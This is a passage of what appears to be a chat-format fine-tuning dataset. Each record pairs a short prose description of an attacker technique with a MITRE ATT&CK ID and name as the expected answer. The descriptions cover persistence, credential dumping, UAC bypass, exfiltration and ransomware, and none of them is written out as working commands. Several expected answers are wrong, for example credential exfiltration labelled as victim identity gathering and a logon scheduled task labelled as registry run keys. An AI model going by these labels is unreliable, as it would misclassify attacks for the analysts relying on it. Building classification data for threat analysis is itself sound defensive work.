            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilizes CDN analytics APIs to enumerate domains and subdomains associated with the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed timestomp by changing the file system timestamps of malicious scripts to match those of system processes."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script creates a Windows service named \"Updater\" that runs a hidden PowerShell script with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers extract trust relationships by querying the SYSVOL share for trust configuration files."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors apply a custom patch to the system image that enables remote command execution each time the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT malware employs cmstp.exe to trigger execution of a malicious payload from a UNC path, evading endpoint detection."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor adds a concealed administrator account on the system using the net user command, ensuring it is hidden from standard user listings."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a deprecated Google Cloud region to host a phishing website, taking advantage of low monitoring coverage."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the 'cat' command to dump /etc/passwd and /etc/shadow, then sent the files over an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform systematic searches of certificate transparency logs and other open technical sources to gather TLS certificates."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ regex patterns to scour public source code on SourceForge for embedded RSA private keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker established a remote session over SMB, wrote a malicious DLL to the target's admin share, and loaded it for persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A banking trojan was delivered via a malicious mobile app that recorded keystrokes and screenshots to steal users' banking credentials."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaces the default password filter with a backdoored version that writes password hashes to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exfiltrates data by uploading it through a compromised Slack webhook."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder browses public repositories on SourceForge looking for outdated libraries that can be exploited."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performed a service discovery sweep by probing common service ports such as 80, 443, and 3389 to map available network resources."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sets up a falsified TFTP server and configures the victim's UEFI network boot to pull a tampered bootloader, achieving execution prior to OS launch."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary distributes a malicious Python script via shared network drive to infect other endpoints."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails contain a link to a malicious OAuth consent screen that grants the attacker permission to read the victim's email."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed a credential dumping attack to retrieve the private key of a digital certificate stored in the Windows certificate store."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to schedule a Helm chart deployment that runs a malicious container on a regular interval."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes PowerShell to create an encrypted named pipe for local inter-process communication, avoiding detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA to 0, the adversary disables UAC, granting the payload full administrative access."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage compromised Azure credentials to modify the scale set configuration, adding additional VM instances to a Kubernetes cluster."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses a vulnerable Microsoft Exchange server to execute PowerShell scripts remotely."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the threat actor leveraged the net group command to list domain groups and associated GPOs for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider accessed the configuration files of a wireless access point and altered the WPA2-Enterprise authentication settings to accept a rogue RADIUS server."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending massive amounts of ICMP echo requests to a workstation, the threat actor saturates the network stack, leading to a complete halt of user operations."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set utilizes cloud‑based proxy services to mask C2 traffic, employing domain fronting by setting the DNS request to a well‑known domain but the HTTP Host to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor uses a pipe server to listen for commands issued by a companion process running with higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor drops a PowerPoint add‑in to the startup folder, causing code execution when PowerPoint starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion utilizes the PubPrn mechanism to proxy execution of a malicious PowerShell payload without direct process creation on the host."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor copies data to a remote SharePoint site for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is smuggled out of the network by tunneling it through NTP control messages."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a phishing link that leads to a malicious site mimicking the corporate SSO portal to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom script to purge all network connection history, including saved Wi‑Fi SSIDs and associated credentials."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquires multiple domains to rotate C2 infrastructure and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a scheduled task that triggers at logon to execute a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group gains access to a user's SharePoint drive and performs bulk exfiltration of project plans using PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilizing the Process Doppelgänging sub‑technique, the attacker bypasses traditional file integrity checks by executing a rolled‑back transaction."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a remote hidden folder on a victim’s network drive to stage data."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrated logs by sending them over HTTP POST requests to a remote web server disguised as normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal acquires a domain and sets up fast‑flux DNS to obscure the server locations."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the 'copy /b' command to append malicious code to the end of a hidden $Recycle.Bin file."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a DLL that registers a COM class and uses it to communicate with a legitimate system service for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the value of the 'SystemTime' registry key to learn the current time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spear phishing campaign specifically targets individuals who have access to financial systems with the goal of initiating unauthorized transactions."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder extracts confidential design documents from Confluence by querying the database directly after gaining shell access."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote attacker uses a stack buffer overflow in a privileged Windows service to execute arbitrary code as Administrator."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leveraged the Microsoft Graph API to perform a bulk delete of mailbox items, effectively removing indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators use the net group command to add a newly created domain account to the \"Domain Admins\" group."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script includes a loop that checks the system's uptime and only activates its keylogger after the system has been up for more than 15 minutes, targeting sandbox evasion."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses LinkedIn to enumerate company staff and their roles by crawling public profiles."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin privileges, the attacker runs a script that encrypts critical system logs and configuration files, rendering the host unusable until a ransom is paid."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised domain controller was used to install a backdoor on the corporate DNS infrastructure, allowing DNS query manipulation."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the UEFI firmware with a malicious version that runs its payload before the operating system boots."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a proxy tunnel over an HTTPS connection, allowing it to communicate with its command server while blending with normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape the RSS feed of a closed-source security advisory service to collect CVE details and associated exploit code."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet performs a high-rate SYN flood targeting the remote desktop service port, consuming all available connections and preventing legitimate access."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the Wi‑Fi management frames to transmit commands to infected devices, avoiding typical network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modified the domain policy to enforce a scheduled reboot after a specific time window."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor issues a 'halt' command on Unix systems, causing an immediate system halt."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script establishes an internal HTTP proxy to exfiltrate data by piggybacking on legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware removes network connection logs from the system and resets network interface settings to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved a trojan that runs a cryptographic routine on all user data, rendering the files inaccessible until a decryption key is provided after payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates credential caches, including SSH keys and password hashes, from the target system to the command server."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-middle tool, the adversary captures and replays one-time passwords generated by a hardware token to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is established by adding a launch daemon that runs a hidden payload on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor rented a DNS hosting account to control the resolution of malicious domains for their campaign."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested information from subscription-based industry forums and private chat groups to identify key personnel."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a man‑in‑the‑middle attack on an SSH connection, re‑using the intercepted session ID to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious AppleScript reads the contents of the keychain, extracts saved passwords, and sends them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen access token, the intruder invoked the OpenStack Nova API to force-delete a virtual machine, resulting in the cloud instance being permanently removed."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious QR code is displayed on a conference poster, leading to a phishing site when scanned."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
